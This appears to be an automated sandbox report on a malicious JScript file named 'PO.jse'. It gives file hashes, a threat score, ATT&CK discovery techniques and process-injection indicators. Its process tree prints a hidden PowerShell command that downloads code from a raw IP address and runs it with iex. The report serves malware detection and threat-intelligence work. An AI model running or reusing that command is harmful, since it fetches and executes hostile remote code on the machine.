386424e1b297fd8e7bab7dd0fc76ec9b186cfcb8633cbf043e52b027bebeeb8e

Analysis

max time kernel
142s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2023 23:30

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General

Target

PO.jse
Size

126KB
MD5

1b944b775d9ffdcbec738253decd7d77
SHA1

7cbdd021f4fbe80be9e3719c8e698840ade6db3e
SHA256

5200574199e54089e02c98983b96399eee52a928cf543fdf60804fb70f056814
SHA512

d93d9a3da56d4148efeb9e2a161f120d28d0d52e0797b84f24f0cdd161262b40d5788bd83d8736129582806cd1a59bf64415d255879f6c296cc8de558834cfb8
SSDEEP

3072:lYVa2VeKq8vPtoWOujPX5QCEEFyKck7EQ+/FQbU7vzn:iEqlt7sl

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1648	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1648	powershell.exe
1648	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 1648	4332	WScript.exe	85
PID 4332 wrote to memory of 1648	4332	WScript.exe	85

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\PO.jse"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -exec Bypass -c iex (iwr 'http://82.115.209.180/A.txt' -UseBasicParsing).Content
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvpk5ima.zgp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1648-0-0x000001FD78AB0000-0x000001FD78AD2000-memory.dmp

Filesize
136KB

Download
memory/1648-10-0x00007FFCFBC40000-0x00007FFCFC701000-memory.dmp

Filesize
10.8MB

Download
memory/1648-11-0x000001FD5E810000-0x000001FD5E820000-memory.dmp

Filesize
64KB

Download
memory/1648-12-0x000001FD5E810000-0x000001FD5E820000-memory.dmp

Filesize
64KB

Download
memory/1648-15-0x00007FFCFBC40000-0x00007FFCFC701000-memory.dmp

Filesize
10.8MB

Download